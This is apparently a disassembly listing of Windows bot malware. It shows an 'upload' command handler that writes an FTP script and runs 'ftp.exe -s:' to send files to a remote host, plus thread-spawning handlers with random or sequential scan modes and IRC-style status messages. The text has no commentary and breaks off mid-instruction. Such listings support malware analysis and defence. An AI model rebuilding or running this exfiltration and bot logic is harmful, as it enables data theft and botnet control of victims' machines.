--------------------------------------------------------------------------- loc_40725D: ; CODE XREF: sub_401ACD+577Cj call near ptr 2680925h nop push eax push offset unk_42A6DC loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A69C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A674 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj nop call near ptr 269061Dh push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A604 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A5D4 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 1 mov [ebp+var_36C], eax jnb short loc_40748D push 1 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431410, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431410 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431410[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A56C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB000 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A504 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h nop call near ptr 2670ECAh jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j call near ptr 2680925h nop push eax push offset unk_42A4CC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A47C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h call near ptr 2670ECAh nop jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj nop call near ptr 2680925h push eax push offset unk_42A440 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A434 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEC8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCB0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEC8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFB4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB000 push eax lea eax, [ebp+var_2C4] push offset unk_42A3D8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h call near ptr 2670ECAh nop jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj nop call near ptr 2680925h push eax push offset unk_42A4CC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A39C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h nop call near ptr 2670ECAh jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj nop call near ptr 2680925h push eax push offset unk_42A358 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A32C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h nop call near ptr 2670ECAh jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 2680925h push eax push offset unk_42A2EC jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2B0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h call near ptr 2670ECAh nop jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j call near ptr 2680925h nop push eax push offset unk_42A278 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A248 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h nop call near ptr 2670ECAh jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj nop call near ptr 2680925h push eax push offset unk_42A210 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A1E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h nop call near ptr 2670ECAh jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j nop call near ptr 2680925h push eax push offset unk_42A1A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A178 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h nop call near ptr 2670ECAh jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 2680925h push eax push offset dword_42A13C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A110 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h call near ptr 2670ECAh nop jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j nop call near ptr 2680925h push eax push offset unk_42A0D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0A0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] nop call near ptr 26A0C5Bh test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A07C push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A070 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A040 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h nop call near ptr 2670ECAh jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j call near ptr 2680925h nop push eax push offset unk_42A004 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov 